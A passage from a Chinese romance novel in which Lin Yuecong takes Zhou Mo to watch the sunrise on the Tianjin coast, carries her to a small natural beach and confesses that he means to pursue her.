林跃琮这人,总是能最精准地抓住别人的痛点和软肋。 “林跃琮,你真无聊。” 周墨转个了身面向车门方向,改平躺为侧躺。 林跃琮一直注视着周墨,他没等到否定的答案,眼中笑意渐深。 将天窗关掉,他温声道:“睡吧,等日出了我叫你。” 周墨认床,在车上就更不可能睡好。 好在现在外面温度适宜,在车里将窗子开一道浅浅的缝隙,不会太冷也不会闷热。 天色蒙蒙亮时,林跃琮将周墨推醒。 周墨艰难地睁开眼,看到林跃琮的一张笑脸。 他笑得眉眼轻扬,眸光清亮,竟显出几分少年气,是周墨极少见到的样子。 “周墨,你快看。” 林跃琮指向窗外。 周墨顺着他指的方向回头,透过车窗看见海平面一线缓缓升腾的金色,将水面映得碎金万顷,灿若琉璃。 周墨一瞬间睡意全无。 没有人不会为大自然的壮美蛰伏,她立刻打开车门跳下车,拿出手机录像。 咔嚓一声,是手机相机的快门声。 周墨回头,见林跃琮正在用手机拍自己。 “你拍我干什么?” “漂亮。” “大老远来看日出,这会儿又不好好看。” “我说的就是日出很漂亮。” “……” 周墨觉得自己真的是记吃不记打。 明知道林跃琮是个什么货色,还总是一次又一次地中了他的套。 “林跃琮,你真的很讨厌。” 林跃琮在一旁笑,脱了鞋袜,将裤腿卷起来。 然后又去脱周墨的鞋袜。 “喂,林跃琮你又干嘛?别犯病了成……啊!喂!” 周墨一句话还没说完,就被林跃琮打横抱起来,快步向着海边走。 就在离他们不远的地方,有一片小小的沙滩,并不是那种人工沙滩,而是天然形成的。这在天津海岸极难找到,很显然是林跃琮提前算计好,昨天晚上才把车停在这里。 周墨不停捶打,“别闹了,你快放我下来。” 林跃琮不仅不放手,甚至还抱着她原地转了个圈。 “周墨,你知道么,昨天晚上我在心里跟自己打了个赌。如果今天能看到日出,无论你说什么,无论你对我什么态度,我都会追你。你不喜欢我,我就努力让你喜欢,你觉得我们不在一个世界,我就努力来到你的世界。” 他难得如此欢喜,瞳眸也染上朝阳的热烈。 也不知道是被他转的,还是日出开始晃眼,周墨觉得有点晕,浑身的血液似乎都在往脸颊上冲。 ”只是有一样,周墨。” 林跃琮终于放下她,周墨赤脚站在沙滩上,感受着脚底传来柔软冰凉的触感,身体有一瞬间的颤栗。 她被林跃琮拥在怀中,听见他在耳畔恳求:“给我一次机会,别再轻易推开我了,好不好?“